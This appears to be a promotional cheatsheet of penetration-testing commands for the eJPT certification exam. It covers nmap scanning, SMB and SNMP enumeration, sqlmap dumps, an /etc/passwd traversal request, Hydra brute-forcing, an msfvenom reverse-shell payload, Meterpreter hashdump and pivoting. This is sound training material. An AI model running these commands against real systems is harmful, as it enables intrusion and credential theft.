eJPT Cheatsheet 2026

The beginner-friendly commands for the INE eLearnSecurity Junior Penetration Tester exam — host discovery, scanning, enumeration, web attacks, Metasploit and basic pivoting. No report, just the fundamentals.

Last updated:

Quick Navigation

01 Host Discovery & Scanning 02 Enumeration 03 Web Attacks 04 Exploitation (Metasploit) 05 Post-Exploitation & Pivoting 06 Exam Tips

# Host Discovery & Scanning

The eJPT starts with finding live hosts and open ports. Master nmap — it is the single most important tool for the exam.

nmap -sn 10.10.10.0/24
Ping sweep — discover live hosts on the subnet
nmap -p- --min-rate=1000 -T4 TARGET -oN ports.txt
Full TCP port scan of a host
nmap -p OPEN_PORTS -sC -sV TARGET
Service/version detection + default scripts on open ports
nmap -sU --top-ports 100 TARGET
Don't forget UDP — SNMP, DNS and TFTP often hide here

# Enumeration

Answer the exam questions by enumerating every service. Users, shares, versions and configs are what the questions ask about.

💡 eJPT Tip: The exam is question-based — read each question first, then enumerate the specific service it points to.
smbclient -N -L //TARGET ; enum4linux-ng -A TARGET
List SMB shares (null session) and full SMB/RPC enumeration
snmpwalk -v2c -c public TARGET
SNMP walk with community "public" — leaks users, processes, software
ftp TARGET # try anonymous / anonymous
Check for anonymous FTP access
gobuster dir -u http://TARGET -w /usr/share/wordlists/dirb/common.txt -x php,txt,html
Directory brute-force to find hidden web pages

# Web Attacks

The eJPT covers core web vulnerabilities: SQL injection, XSS, and directory traversal. Burp Suite and sqlmap do the heavy lifting.

sqlmap -u "http://TARGET/page.php?id=1" --batch --dbs
Automated SQL injection — enumerate databases
sqlmap -u "http://TARGET/page.php?id=1" --batch -D db -T users --dump
Dump a table — often contains the answer to an exam question
curl "http://TARGET/page?file=../../../../etc/passwd"
Directory traversal / LFI — read local files
hydra -l admin -P /usr/share/wordlists/rockyou.txt TARGET http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"
Brute-force a web login form with Hydra

# Exploitation (Metasploit)

Unlike the OSCP, the eJPT encourages Metasploit. Learn the msfconsole workflow — it is your main exploitation tool.

💡 eJPT Tip: Metasploit is fully allowed. Use search, set RHOSTS/LHOST, then run.
msfconsole -q ; search TYPE:exploit SERVICE
Launch Metasploit and search for a matching exploit module
use exploit/MODULE ; set RHOSTS TARGET ; set LHOST YOUR_IP ; run
Configure and launch an exploit for a Meterpreter session
msfvenom -p windows/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=4444 -f exe -o shell.exe
Generate a Meterpreter payload for manual delivery
use exploit/multi/handler ; set PAYLOAD windows/meterpreter/reverse_tcp ; run
Catch the reverse Meterpreter connection

# Post-Exploitation & Pivoting

Once you have a Meterpreter session, gather info and pivot into internal subnets — a classic eJPT exam scenario.

getuid ; sysinfo ; hashdump
Meterpreter — identify the user, the host and dump local hashes
run autoroute -s 192.168.1.0/24
Add a route through the session to reach an internal subnet
use auxiliary/server/socks_proxy ; run # then use proxychains
Start a SOCKS proxy to run external tools through the pivot
proxychains4 nmap -sT -Pn -p 445,3389 192.168.1.10
Scan the internal network through the pivot

# eJPT Exam Tips

Strategy for the beginner-friendly, question-based exam.

❓ Read the questions first: The exam is dynamic and question-based — each question tells you exactly what to look for. Enumerate with the question in mind.
🧰 Use Metasploit freely: Unlike OSCP, Metasploit is encouraged. Learn msfconsole search, sessions and autoroute.
🔎 Enumerate everything: Most wrong answers come from missing a service. Scan all ports, check UDP, read banners.
🗺️ Practice pivoting: The exam network has internal hosts — practice autoroute and proxychains before the exam.
📄 No report needed: Unlike OSCP/CPTS/PNPT, you don't write a report — focus entirely on finding the answers.

❓ eJPT Frequently Asked Questions

The INE eJPT is a beginner-friendly, fully practical exam. You get around 48 hours in a live lab and answer a set of multiple-choice questions by finding flags and information on the target network. There is no written report — you answer questions based on what you compromise.

No. Unlike OSCP, CPTS or PNPT, the eJPT does not require a professional report. It is a dynamic, question-based exam: you exploit the lab and answer multiple-choice questions. This makes it one of the most beginner-friendly practical certifications.

Yes — the eJPT is widely considered the best entry-level practical pentest certification. It assumes little prior experience and pairs with INE's Penetration Testing Student (PTS) course. It covers the fundamentals: scanning, enumeration, web attacks, Metasploit and basic pivoting.

Yes — Metasploit is fully allowed and even encouraged. Unlike the OSCP (which limits it to one machine), the eJPT expects you to use Metasploit and Meterpreter for exploitation, pivoting (autoroute/socks) and post-exploitation.

Most candidates need 1–3 months. Completing the INE Penetration Testing Student (PTS) learning path and practicing on beginner HackTheBox and TryHackMe boxes is enough for the majority of students to pass.

The eJPT focuses on network and web fundamentals and includes basic pivoting (routing through a compromised host to reach an internal subnet). It is not an Active Directory-heavy exam like CPTS or PNPT — it is about mastering the fundamentals.

Take the eJPT first. It is the entry-level certification that builds the fundamentals (scanning, enumeration, exploitation, basic pivoting) with no report and no buffer overflow. The OSCP is a big step up. eJPT → OSCP/CPTS is a common path.

Yes. INE typically includes a free retake with the exam voucher, and the exam is designed to be accessible for beginners. Check the current INE policy for the exact retake and voucher terms before scheduling.

nmap for scanning, gobuster/dirb and Burp Suite for web, sqlmap for SQL injection, Metasploit/Meterpreter for exploitation and pivoting, hydra for brute force, and basic enumeration tools (enum4linux, smbclient). The fundamentals matter more than advanced tools.

Yes — as a learning accelerator. The free mindmap organizes 12,020+ commands across all eJPT domains (scanning, enumeration, web, Metasploit, pivoting) with instant search, so beginners find the right command fast while learning the methodology. Always follow your exam rules.

📚 Related Resources

Prepare your eJPT with 12,020+ commands

This cheatsheet is the surface. Pentest Mindmap organizes 12,020+ commands in 34 categories with instant search — perfect for finding the right command fast during your eJPT prep.

Start free →
📎 Found this cheatsheet useful?